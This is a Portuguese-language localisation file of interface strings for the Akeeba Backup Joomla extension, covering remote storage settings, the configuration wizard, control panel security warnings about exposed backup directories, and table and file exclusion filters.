COM_AKEEBABACKUP_CONFIG_SWIFT_TENANTID_DESCRIPTION="O seu tenant ID OpenStack (Keystone v2) ou project ID (Keystone v3), por exemplo a0b1c2d3e4f56789abcdef0123456789"
COM_AKEEBABACKUP_CONFIG_SWIFT_TENANTID_TITLE="Tenant ID / Project ID"
COM_AKEEBABACKUP_CONFIG_SWIFT_USERNAME_DESCRIPTION="O nome de utilizador da API OpenStack para a sua nuvem."
COM_AKEEBABACKUP_CONFIG_SWIFT_USERNAME_TITLE="Nome de Utilizador OpenStack"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_TITLE="Versão do Keystone"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_DESCRIPTION="Escolha qual a versão do serviço de autenticação OpenStack Keystone usada pelo seu fornecedor de armazenamento. Se tiver dúvidas, por favor pergunte ao seu fornecedor de armazenamento."
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_V2="Keystone v2 (Legado)"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_V3="Keystone v3"
COM_AKEEBABACKUP_CONFIG_SWIFT_DOMAIN_TITLE="Domínio de Autenticação Keystone v3"
COM_AKEEBABACKUP_CONFIG_SWIFT_DOMAIN_DESCRIPTION="Apenas usado com a autenticação Keystone v3. Este é o domínio de autenticação para o serviço Keystone v3, <strong>NÃO</strong> o nome do host do servidor de autenticação Keystone. Na maioria dos casos é <code>default</code> ou <code>Default</code>. Se tiver dúvidas, por favor pergunte ao seu fornecedor de armazenamento."
COM_AKEEBABACKUP_CONFIG_UI_AJAXERRORDLG_TEXT="Ocorreu um erro enquanto se aguardava uma resposta AJAX:"
COM_AKEEBABACKUP_CONFIG_UI_AJAXERRORDLG_TITLE="Erro AJAX"
COM_AKEEBABACKUP_CONFIG_UI_BROWSE="Procurar..."
COM_AKEEBABACKUP_CONFIG_UI_BROWSER_TITLE="Navegador de Diretórios"
COM_AKEEBABACKUP_CONFIG_UI_CONFIG="Configurar..."
COM_AKEEBABACKUP_CONFIG_UI_CUSTOM="Personalizado..."
COM_AKEEBABACKUP_CONFIG_UI_FTPBROWSER_TITLE="Navegador de Diretórios FTP"
COM_AKEEBABACKUP_CONFIG_UI_REFRESH="Atualizar"
COM_AKEEBABACKUP_CONFIG_UI_ROOTDIR="Usar a raiz do sítio para saída da cópia de segurança ou armazenamento de ficheiros temporários levará à falha da cópia de segurança. Estou a substituir a sua definição."
COM_AKEEBABACKUP_CONFIG_UI_SETTINGS_NOTSECURED="O seu servidor não suporta a encriptação das suas definições de configuração. Aconselhamos vivamente que não armazene quaisquer palavras-passe na configuração."
COM_AKEEBABACKUP_CONFIG_UI_SETTINGS_SECURED="As suas definições estão protegidas por encriptação de 128 bits. Pode armazenar com segurança as suas palavras-passe na configuração."
COM_AKEEBABACKUP_CONFIG_UPLOADKICKSTART_DESCRIPTION="Quando marcado, uma cópia do Akeeba Kickstart Professional será enviada para o armazenamento remoto especificado no Motor de Pós-processamento acima (exceto para os motores Nenhum e E-mail). Isto faz sentido ao usar FTP ou SFTP para transferir o seu sítio para um servidor diferente: tanto o seu arquivo de cópia de segurança como o Kickstart, usado para o extrair, serão enviados para o seu servidor remoto. Depois de a cópia de segurança estar completa, pode simplesmente iniciar o Kickstart no sítio remoto e proceder com a sua restauração. Tão simples!"
COM_AKEEBABACKUP_CONFIG_UPLOADKICKSTART_TITLE="Enviar Kickstart para o armazenamento remoto"
COM_AKEEBABACKUP_CONFIG_USAGESTATS_DESC="Ajude-nos a melhorar o nosso software reportando anónima e automaticamente as suas versões de PHP, MySQL e Joomla!. Esta informação ajudar-nos-á a decidir quais as versões do Joomla!, PHP e MySQL a suportar em versões futuras. Nota: NÃO recolhemos o nome do seu sítio, endereço IP ou qualquer outra informação de identificação única direta ou indireta."
COM_AKEEBABACKUP_CONFIG_USAGESTATS_LABEL="Ativar o reporte anónimo das versões de PHP, MySQL e Joomla!"
COM_AKEEBABACKUP_CONFIG_VIRTUALFOLDER_DESCRIPTION="Se configurou quaisquer diretórios externos, o seu conteúdo aparecerá dentro do arquivo como subdiretórios deste diretório virtual. É virtual porque não existe realmente no seu servidor. Só existe dentro do arquivo de cópia de segurança. Certifique-se de que o nome do diretório virtual não entra em conflito com um diretório existente de forma a evitar a perda de dados."
COM_AKEEBABACKUP_CONFIG_VIRTUALFOLDER_TITLE="Diretório virtual para ficheiros externos"
COM_AKEEBABACKUP_CONFIG_WEBDAV_DIRECTORY_DESCRIPTION="Diretório"
COM_AKEEBABACKUP_CONFIG_WEBDAV_DIRECTORY_TITLE="Diretório"
COM_AKEEBABACKUP_CONFIG_WEBDAV_PASSWORD_DESCRIPTION="Palavra-passe"
COM_AKEEBABACKUP_CONFIG_WEBDAV_PASSWORD_TITLE="Palavra-passe"
COM_AKEEBABACKUP_CONFIG_WEBDAV_URL_DESCRIPTION="URL base do WebDAV"
COM_AKEEBABACKUP_CONFIG_WEBDAV_URL_TITLE="URL base do WebDAV"
COM_AKEEBABACKUP_CONFIG_WEBDAV_USERNAME_DESCRIPTION="Nome de utilizador"
COM_AKEEBABACKUP_CONFIG_WEBDAV_USERNAME_TITLE="Nome de utilizador"
COM_AKEEBABACKUP_CONFIG_WHERE_ARE_THE_FILTERS="Se está à procura dos filtros &ndash;por exemplo, para excluir ficheiros, diretórios e tabelas de base de dados&ndash; por favor clique no botão Cancelar para voltar à página do Painel de Controlo onde pode aceder a estas funcionalidades diretamente."
COM_AKEEBABACKUP_CONFIG_ZIPCDGLUECHUNKSIZE_DESCRIPTION="Os ficheiros ZIP são compostos por uma secção de dados e uma secção de \"diretório\". Essas secções são processadas em paralelo pelo Akeeba Backup e unidas durante a fase de finalização do arquivo. Este parâmetro determina quantos dados serão processados de uma só vez durante esta fase. Não deverá precisar de alterar esta definição a menos que tenha problemas graves de esgotamento de memória."
COM_AKEEBABACKUP_CONFIG_ZIPCDGLUECHUNKSIZE_TITLE="Tamanho do bloco para processamento do Diretório Central"
COM_AKEEBABACKUP_CONFIG__BACKBLAZE_DIRECTORY_TITLE="Diretório"
COM_AKEEBABACKUP_CONFWIZ="Assistente de Configuração"
COM_AKEEBABACKUP_CONFWIZ_CONGRATS="Parabéns! Concluiu o assistente de configuração automática. Pode agora testar a sua nova configuração executando uma cópia de segurança, ou ajustá-la na página de Configuração."
COM_AKEEBABACKUP_CONFWIZ_DBOPT="A otimizar as definições do motor de Despejo da Base de Dados"
COM_AKEEBABACKUP_CONFWIZ_DIRECTORY="A examinar o Diretório de Saída"
COM_AKEEBABACKUP_CONFWIZ_HEADER_FAILED="Falha do Assistente de Configuração"
COM_AKEEBABACKUP_CONFWIZ_HEADER_FINISHED="Benchmarking Concluído"
COM_AKEEBABACKUP_CONFWIZ_INTROTEXT="O Assistente de Configuração executa uma série de benchmarks no seu servidor para determinar as definições ótimas de cópia de segurança para o seu sítio. Por favor não saia desta página. É normal parecer bloqueado por períodos até três (3) minutos, dependendo da velocidade do seu servidor."
COM_AKEEBABACKUP_CONFWIZ_MAXEXEC="A otimizar o tempo máximo de execução"
COM_AKEEBABACKUP_CONFWIZ_MINEXEC="A otimizar o tempo mínimo de execução"
COM_AKEEBABACKUP_CONFWIZ_PROGRESS="Análise do ambiente do servidor em curso"
COM_AKEEBABACKUP_CONFWIZ_SPLITSIZE="A determinar o tamanho de parte necessário para arquivos divididos"
COM_AKEEBABACKUP_CONFWIZ_FLUSH="A verificar se o <code>flush()</code> funciona no seu servidor"
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDBOPT="O Akeeba Backup não conseguiu determinar as definições ótimas de despejo da base de dados. Certifique-se de que o seu servidor corre em MySQL 5.0 ou posterior e que o seu utilizador da base de dados tem permissão para executar o comando SHOW TABLE STATUS antes de executar novamente este assistente."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDETERMINEMINEXEC="Não foi possível determinar o tempo mínimo de execução. Isto indica um problema grave na comunicação com o seu servidor. Por favor tente configurar o Akeeba Backup manualmente."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDETERMINEPARTSIZE="O Akeeba Backup não conseguiu determinar um tamanho de parte adequado para o seu servidor. Por favor certifique-se de que tem espaço livre adequado na sua conta e execute novamente este assistente."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTFIXDIRECTORIES="O Akeeba Backup não conseguiu encontrar um diretório de saída e temporário com permissão de escrita. Por favor dê permissões de escrita ao diretório administrator/components/com_akeebabackup/backup e execute novamente este assistente."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTSAVEMAXEXEC="O Akeeba Backup não conseguiu guardar as preferências de tempo máximo de execução. Terá de o configurar manualmente."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTSAVEMINEXEC="Não foi possível guardar a preferência de tempo mínimo de execução. Terá de configurar o Akeeba Backup manualmente."
COM_AKEEBABACKUP_CONFWIZ_UI_EXECTOOLOW="O Akeeba Backup detetou que o seu servidor requer um tempo máximo de execução demasiado baixo para ser prático. É preferível mudar de alojamento ou pedir ao seu alojamento para aumentar o tempo máximo de execução do PHP e levantar quaisquer limitações de utilização de CPU da sua conta."
COM_AKEEBABACKUP_CONFWIZ_UI_MINEXECTRY="A tentar %s segundos"
COM_AKEEBABACKUP_CONFWIZ_UI_PARTSIZE="A testar um tamanho de parte de %s Mb"
COM_AKEEBABACKUP_CONFWIZ_UI_SAVEMINEXEC="A guardar a preferência de tempo mínimo de execução"
COM_AKEEBABACKUP_CONFWIZ_UI_SAVINGMAXEXEC="A guardar a preferência de tempo máximo de execução"
COM_AKEEBABACKUP_CONFWIZ_UI_TRYAJAX="A tentar fazer um pedido AJAX assíncrono ao seu servidor"

COM_AKEEBABACKUP_CONTROLPANEL="Painel de Controlo"
COM_AKEEBABACKUP_CONTROLPANEL_BTN_HIDE="Lembrar-me daqui a 15 dias"
COM_AKEEBABACKUP_CONTROLPANEL_BTN_LEARNMORE="Saber mais sobre o <strong>Akeeba Backup Professional</strong>"
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_DISCOUNT="Use o código de cupão <strong>%s</strong> para subscrever com um desconto introdutório de <strong>20%%</strong>."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_PROUPSELL_1="Adicione cópias de segurança agendadas, envio automático para mais de 40 fornecedores de armazenamento na nuvem, restauração integrada, um assistente de transferência de sítio e muito mais com o <strong>Akeeba Backup Professional</strong>."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_PROUPSELL_2="Uma única licença é válida para <strong>sítios ilimitados</strong>. Inclui suporte dos programadores que escrevem este software."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_PROUPSELL="Facilite a sua vida"
COM_AKEEBABACKUP_CONTROLPANEL_MSG_REBUILTTABLES="<h3>Oops! As tabelas da base de dados do seu Akeeba Backup estão corrompidas.</h3><p>O Akeeba Backup detetou que as suas tabelas da base de dados estavam em falta ou corrompidas. Com sessão iniciada como Super Utilizador no backend de administração do seu sítio, por favor vá ao item de menu Sistema na barra lateral do menu Joomla. Selecione a ligação Base de Dados no painel Manutenção. Selecione o item Akeeba Backup da lista e clique no botão Atualizar Estrutura na barra de ferramentas para corrigir os problemas das tabelas da base de dados. Depois tente aceder novamente ao Akeeba Backup.</p>"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L1="O Akeeba Backup não conseguiu determinar as permissões do diretório <code>media/com_akeebabackup</code>."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L2="Por favor faça uma das seguintes opções:"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L3A="Ative o modo FTP do Joomla! na Configuração Global"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L3B="Altere as permissões do diretório <code>media/com_akeebabackup</code> e de todos os seus subdiretórios para 0755 e de todos os seus ficheiros para 0644 usando o seu cliente FTP."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L4="O Akeeba Backup <strong><u>muito provavelmente não funcionará de todo</u></strong> se não realizar estes passos. Se vir esta mensagem, por favor siga as instruções nela contidas antes de pedir suporte. Poupar-lhe-á muito tempo."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_WARNING="AVISO"
COM_AKEEBABACKUP_CPANEL_BTN_FESECRETWORD_RESET="Aplicar a Palavra Secreta sugerida"
COM_AKEEBABACKUP_CPANEL_BTN_FIXSECURITY="Corrigir a segurança das minhas cópias de segurança"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_BANNED="A palavra secreta é uma palavra-passe conhecida como insegura. Por favor não use palavras de dicionário, nomes de filmes / séries, os nomes dos seus entes queridos ou animais de estimação."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_HEADER="As funcionalidades de cópia de segurança no frontend e remota estão desativadas"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_INTRO="A sua <em>Palavra Secreta</em> é insegura e pode ser facilmente adivinhada. De forma a proteger o seu sítio, o Akeeba Backup desativou o acesso à cópia de segurança no frontend e remota até que introduza uma Palavra Secreta segura. O problema detetado é:"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_RESET="Não foi possível alterar a Palavra Secreta"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_TOOSHORT="A palavra secreta é demasiado curta. Use uma palavra secreta com pelo menos 8 caracteres de comprimento."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_TOOSIMPLE="A palavra secreta é demasiado simples. Tente usar letras minúsculas e maiúsculas, números e pontuação."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_COMMON="Em alternativa, clique no botão abaixo para repor a palavra secreta para o valor sugerido <code>%s</code> Em qualquer dos casos, precisará de atualizar os seus serviços de cópia de segurança remota e/ou tarefas CRON com a nova Palavra Secreta."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_JOOMLA="Por favor clique em Opções, Frontend e introduza uma palavra secreta mais complexa."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_SOLO="Por favor clique em Configuração do Sistema, API Pública e introduza uma palavra secreta mais complexa."
COM_AKEEBABACKUP_CPANEL_ERR_INVALIDDOWNLOADID="Formato de Download ID inválido. Por favor siga as nossas instruções para obter o seu Download ID. Não introduza o seu nome de utilizador, endereço de e-mail ou palavra-passe nesta caixa."
COM_AKEEBABACKUP_CPANEL_HEADER_ADVANCED="Operações Avançadas"
COM_AKEEBABACKUP_CPANEL_HEADER_BASICOPS="Operações Básicas"
COM_AKEEBABACKUP_CPANEL_HEADER_INCLUDEEXCLUDE="Informação de Inclusão e Exclusão"
COM_AKEEBABACKUP_CPANEL_HEADER_QUICKBACKUP="Cópia de Segurança com Um Clique"
COM_AKEEBABACKUP_CPANEL_HEADER_TROUBLESHOOTING="Resolução de Problemas"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INSECURE="Diretório de saída inseguro"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INSECURE_ALT="Diretório de saída e nome de ficheiro de cópia de segurança possivelmente inseguros"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INVALID="Diretório de saída inválido"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_UNFIXABLE="Problema de segurança do diretório de saída não corrigível"
COM_AKEEBABACKUP_CPANEL_LABEL_STATUSSUMMARY="Resumo do Estado"
COM_AKEEBABACKUP_CPANEL_LBL_INCLUDEEXCLUDE_CALLOUT="As opções de inclusão e exclusão são aplicadas apenas ao perfil de cópia de segurança ativo."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_CLICKTHEBUTTON="Clique no botão abaixo para corrigir este problema. Eis o que faz."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_DELETEORBEHACKED="Até que o faça, <strong>RECOMENDAMOS VIVAMENTE</strong> que não realize uma cópia de segurança do seu sítio e, se já o tiver feito, elimine todos os arquivos de cópia de segurança e ficheiros de registo de cópia de segurança. <strong>NÃO SEGUIR ESTAS INSTRUÇÕES RESULTARÁ MUITO PROVAVELMENTE NO COMPROMETIMENTO (PIRATARIA) DO SEU SÍTIO E NAS SUAS CÓPIAS DE SEGURANÇA SEREM MUITO PROVAVELMENTE INUTILIZÁVEIS.</strong>"
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FILEREADABLE="O Akeeba Backup detetou que o seu diretório de saída de cópia de segurança <code>%s</code> está sob a raiz web do seu sítio. O seu conteúdo, incluindo os seus arquivos de cópia de segurança, está acessível através da web. No entanto, NÃO é possível listar os ficheiros no diretório com um navegador web. <strong>Isto pode ser um problema de segurança</strong>. Um atacante pode adivinhar o nome do arquivo de cópia de segurança e transferi-lo diretamente, contornando a segurança do seu sítio."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FIX_RANDOM="O seu “Nome de ficheiro de saída da cópia de segurança” será alterado para incluir a variável <code>[RANDOM]</code>. Isto torna praticamente impossível adivinhar os nomes dos ficheiros de cópia de segurança, adicionando 16 letras e / ou números diferentes e aleatórios no nome do ficheiro de arquivo da cópia de segurança sempre que realizar uma cópia de segurança."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FIX_SECURITYFILES="Serão escritos um ficheiro <code>.htaccess</code> e um ficheiro <code>web.config</code> nessa pasta. Na maioria dos servidores isto é suficiente para impedir transferências web diretas de qualquer ficheiro no seu interior e desativa a listagem dos seus ficheiros. Também temos uma solução para os servidores onde estes ficheiros especiais não têm efeito. Outros três ficheiros chamados <code>index.php</code>, <code>index.html</code> e <code>index.htm</code> também serão escritos nessa pasta. Estes ficheiros de índice impedem que o servidor web liste os nomes dos arquivos de cópia de segurança e ficheiros de registo de cópia de segurança."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_ISSYSTEM="Além disso, o seu diretório de saída é o mesmo que, ou um subdiretório de, uma pasta usada pelo Joomla e suas extensões para os seus próprios ficheiros acessíveis publicamente."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_ISSYSTEM_FIX="Precisa de ir à página de Configuração do Akeeba Backup e selecionar um diretório de saída diferente."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_LISTABLE="O Akeeba Backup detetou que o seu diretório de saída de cópia de segurança <code>%s</code> está sob a raiz web do seu sítio. O seu conteúdo, incluindo os seus arquivos de cópia de segurança, está acessível através da web. Além disso, é possível listar os ficheiros no diretório, ou seja, dá uma listagem dos seus arquivos de cópia de segurança quando o acede com um navegador web. <strong>Isto é um problema de segurança grave</strong>. Um atacante pode aceder a esta pasta a partir de um navegador web e transferir os seus arquivos de cópia de segurança diretamente, contornando a segurança do seu sítio."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_TRASHHOST="Infelizmente, o seu servidor não suporta nenhum método razoável para proteger o diretório. Independentemente do que façamos, listará sempre os nomes dos ficheiros que contém e permitir-lhe-á transferi-los a partir de um navegador. A sua única opção é criar um diretório de saída de cópia de segurança acima da raiz do seu sítio."
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_ERROR="Os erros detetados impedem a operação pretendida"
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_OK="O Akeeba Backup está pronto para fazer cópia de segurança do seu sítio"
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_WARNING="O Akeeba Backup está pronto para fazer cópia de segurança do seu sítio, mas existem potenciais problemas"
COM_AKEEBABACKUP_CPANEL_LBL_UNWRITABLE="Sem permissão de escrita"
COM_AKEEBABACKUP_CPANEL_LBL_WRITABLE="Com permissão de escrita"
COM_AKEEBABACKUP_CPANEL_MSG_CLOUDFLARE_WARN1="Detetámos que o CloudFlare Rocket Loader está ativado no seu sítio. Esta funcionalidade interferirá com o JavaScript no seu sítio, baralhando a ordem de carregamento dos scripts e causando, portanto, erros de JavaScript. Por favor desative a funcionalidade Rocket Loader para deixar o JavaScript do Joomla e do Akeeba Backup funcionar corretamente. Para mais informações e instruções, por favor consulte a <a href='%s' target='_blank'>documentação do CloudFlare</a>."
COM_AKEEBABACKUP_CPANEL_MSG_CLOUDFLARE_WARN="O Rocket Loader do CloudFlare impedi-lo-á de usar o Joomla!&trade; e o Akeeba Backup corretamente"
COM_AKEEBABACKUP_CPANEL_MSG_FESECRETWORD_RESET="A Palavra Secreta foi alterada para <code>%s</code>"
COM_AKEEBABACKUP_CPANEL_MSG_JOOMLABUGGYUPDATES="<strong>Importante:</strong> Se o Joomla já tiver determinado que existem atualizações para o Akeeba Backup antes de ter introduzido o seu Download ID, <em>poderá não conseguir transferi-las</em> mesmo depois de ter introduzido o seu Download ID, devido a uma série de bugs de longa data do Joomla. Neste caso, por favor transfira o ficheiro ZIP da versão mais recente do nosso sítio. Depois vá ao menu Sistema do Joomla, encontre o painel Instalar, clique em Extensões, clique no separador Carregar Ficheiro de Pacote e instale o ficheiro ZIP que transferiu <strong>duas vezes</strong> seguidas, <strong>sem</strong> desinstalar o Akeeba Backup antes ou entre as instalações. A dupla instalação é necessária para resolver outro bug de longa data do Joomla que por vezes o impede de copiar todos os ficheiros atualizados ao instalar uma atualização de extensão."
COM_AKEEBABACKUP_CPANEL_MSG_MUSTENTERDLID="Precisa de introduzir o seu Download ID"
COM_AKEEBABACKUP_CPANEL_MSG_WHERETOENTERDLID="Vá ao menu Sistema do Joomla do lado esquerdo. Encontre o painel Atualizar e clique na ligação Sítios de Atualização. Encontre o item “Akeeba Backup Professional” e clique nele. Em alternativa, <a href=\"%s\">clique aqui</a> para ir diretamente para essa página. Introduza o seu Download ID — quer o seu ID Principal quer um Download ID complementar — na caixa “Chave de Download” e clique no botão Guardar."
COM_AKEEBABACKUP_CPANEL_PROFILE_BUTTON="Mudar de Perfil"
COM_AKEEBABACKUP_CPANEL_PROFILE_SWITCH_ERROR="Erro ao mudar o perfil ativo"
COM_AKEEBABACKUP_CPANEL_PROFILE_SWITCH_OK="Perfil alterado com sucesso"
COM_AKEEBABACKUP_CPANEL_PROFILE_TITLE="Perfil Ativo"
COM_AKEEBABACKUP_CPANEL_WARNING_Q001="Diretório de saída sem permissão de escrita"
COM_AKEEBABACKUP_CPANEL_WARNING_Q003="A usar a raiz do sítio como diretório de Saída ou Temporário"
COM_AKEEBABACKUP_CPANEL_WARNING_Q004="memory_limit do PHP demasiado baixo"
COM_AKEEBABACKUP_CPANEL_WARNING_Q013="A usar a pasta do componente como diretório de Saída"
COM_AKEEBABACKUP_CPANEL_WARNING_Q015="Pasta pública personalizada do Joomla! com a opção Dereferenciar Ligações ativada"
COM_AKEEBABACKUP_CPANEL_WARNING_Q101="O diretório de saída está restringido por open_basedir"
COM_AKEEBABACKUP_CPANEL_WARNING_Q103="O tempo máximo de execução é demasiado baixo"
COM_AKEEBABACKUP_CPANEL_WARNING_Q104="O diretório temporário é o mesmo que a raiz do sítio"
COM_AKEEBABACKUP_CPANEL_WARNING_Q106="O prefixo do nome das tabelas da sua base de dados contém uma ou mais letras maiúsculas"
COM_AKEEBABACKUP_CPANEL_WARNING_Q107="Está a usar <code>bak_</code> como prefixo do nome das tabelas da base de dados do seu sítio."
COM_AKEEBABACKUP_CPANEL_WARNING_Q201="Versão do PHP desatualizada"
COM_AKEEBABACKUP_CPANEL_WARNING_Q202="Problema no cálculo de CRC"
COM_AKEEBABACKUP_CPANEL_WARNING_Q203="Diretório de saída predefinido em uso"
COM_AKEEBABACKUP_CPANEL_WARNING_Q204="Funções desativadas podem afetar a operação"
COM_AKEEBABACKUP_CPANEL_WARNING_Q401="Formato ZIP selecionado"
COM_AKEEBABACKUP_CPANEL_WARNING_QNONE="Nenhum problema detetado"
COM_AKEEBABACKUP_CPANL_ERR_MBSTRING_TITLE="A sua versão do PHP não tem a extensão mbstring instalada ou ativada."
COM_AKEEBABACKUP_CPANL_ERR_MBSTRING_BODY="Tê-la ativada é um requisito do Joomla!. O Joomla! e o Akeeba Backup não funcionarão corretamente. Por favor peça ao seu alojamento para ativar a extensão mbstring no PHP %s a correr no seu servidor."

COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HEAD="Notificações Push"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_SUMMARY="Gerir notificações push no seu navegador"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_DETAILS="As notificações push são geridas por navegador e dispositivo através da Push API do navegador. Alguns navegadores mais antigos podem não suportar notificações push. Por favor leia a documentação para mais informações."
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_HEAD="As Notificações Push não estão disponíveis"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_BODY="O seu navegador não suporta a Push API. Por favor use uma versão recente do Firefox, Chrome, Edge, Opera e outros navegadores com suporte para a Web Push API. <br/><small>A Push API também é suportada no Safari em macOS Ventura e posterior, bem como em iOS 16.1 e posterior.</small>"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_SERVER_BODY="O seu servidor não cumpre os requisitos mínimos para usar a Push API do navegador para enviar notificações. Por favor consulte a documentação para a lista de requisitos desta funcionalidade."
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_BTN_SUBSCRIBE="Ativar Notificações Push"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_BTN_UNSUBSCRIBE="Desativar Notificações Push"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HELLO_TITLE="Notificações do Akeeba Backup ativadas em %s"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HELLO_BODY="Esta mensagem confirma que a ativação das notificações push funcionou e mostra-lhe como serão as notificações do Akeeba Backup."

COM_AKEEBABACKUP_DBFILTER="Exclusão de Tabelas da Base de Dados"
COM_AKEEBABACKUP_DBFILTER_LABEL_EXCLUDENONCORE="Excluir tabelas não essenciais"
COM_AKEEBABACKUP_DBFILTER_LABEL_NUKEFILTERS="Repor todos os filtros"
COM_AKEEBABACKUP_DBFILTER_LABEL_ROOTDIR="Base de dados atual:"
COM_AKEEBABACKUP_DBFILTER_LABEL_SITEDB="Base de dados principal do sítio"
COM_AKEEBABACKUP_DBFILTER_LABEL_TABLES="Tabelas, vistas, procedimentos, funções e triggers da base de dados"
COM_AKEEBABACKUP_DBFILTER_TABLE_FUNCTION="Função armazenada"
COM_AKEEBABACKUP_DBFILTER_TABLE_META_ROWCOUNT="Número de linhas"
COM_AKEEBABACKUP_DBFILTER_TABLE_MISC="Tipo de tabela merge, temporária, memory, federated, blackhole ou diversos<br/>Os seus dados nunca são incluídos na cópia de segurança pelo Akeeba Backup."
COM_AKEEBABACKUP_DBFILTER_TABLE_PROCEDURE="Procedimento armazenado"
COM_AKEEBABACKUP_DBFILTER_TABLE_TABLE="Tabela da base de dados"
COM_AKEEBABACKUP_DBFILTER_TABLE_TRIGGER="Trigger da base de dados"
COM_AKEEBABACKUP_DBFILTER_TABLE_VIEW="Vista MySQL"
COM_AKEEBABACKUP_DBFILTER_TABLE_TEMP="Tabela temporária"
COM_AKEEBABACKUP_DBFILTER_TABLE_UNKNOWN="Outro tipo de entidade da base de dados"
COM_AKEEBABACKUP_DBFILTER_TYPE_REGEXTABLEDATA="Não fazer cópia de segurança do conteúdo de uma tabela"
COM_AKEEBABACKUP_DBFILTER_TYPE_REGEXTABLES="Excluir uma tabela"
COM_AKEEBABACKUP_DBFILTER_TYPE_TABLEDATA="Não fazer cópia de segurança do seu conteúdo"
COM_AKEEBABACKUP_DBFILTER_TYPE_TABLES="Excluir esta"

COM_AKEEBABACKUP_DISCOVER="Importar Arquivos"
COM_AKEEBABACKUP_DISCOVER_ERROR_NODIRECTORY="Não selecionou um diretório válido"
COM_AKEEBABACKUP_DISCOVER_ERROR_NOFILES="Não há ficheiros de arquivo para importar no diretório selecionado. Por favor volte atrás e selecione outro diretório."
COM_AKEEBABACKUP_DISCOVER_ERROR_NOFILESSELECTED="Não selecionou quaisquer ficheiros para importar."
COM_AKEEBABACKUP_DISCOVER_LABEL_DIRECTORY="Diretório"
COM_AKEEBABACKUP_DISCOVER_LABEL_FILES="Ficheiros de Arquivo Detetados"
COM_AKEEBABACKUP_DISCOVER_LABEL_GOBACK="Voltar à seleção de diretório"
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORT="Importar os ficheiros"
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTDONE="Operação de importação concluída com sucesso."
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTEDDESCRIPTION="Arquivo de cópia de segurança importado"
COM_AKEEBABACKUP_DISCOVER_LABEL_S3IMPORT="Os seus arquivos estão armazenados no Amazon S3? Clique <a href=\"%s\">aqui</a> para os transferir e importar num único passo!"
COM_AKEEBABACKUP_DISCOVER_LABEL_SCAN="Procurar ficheiros"
COM_AKEEBABACKUP_DISCOVER_LABEL_SELECTDIR="Selecione um diretório que contenha arquivos de cópia de segurança"
COM_AKEEBABACKUP_DISCOVER_LABEL_SELECTFILES="Por favor selecione os ficheiros a importar. Mantenha premida a tecla CTRL ou Command enquanto clica nos ficheiros de forma a fazer uma seleção de múltiplos ficheiros."

COM_AKEEBABACKUP_EMAIL_POSTPROCESSING_FAILED="O pós-processamento (envio para o armazenamento remoto) FALHOU."
COM_AKEEBABACKUP_EMAIL_POSTPROCESSING_SUCCESS="O pós-processamento (envio para o armazenamento remoto) foi bem-sucedido."

COM_AKEEBABACKUP_FILEFILTERS="Exclusão de Ficheiros e Diretórios"
COM_AKEEBABACKUP_FILEFILTERS_EDITOR_TITLE="Editar"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_ADDNEWFILTER="Adicionar novo filtro:"
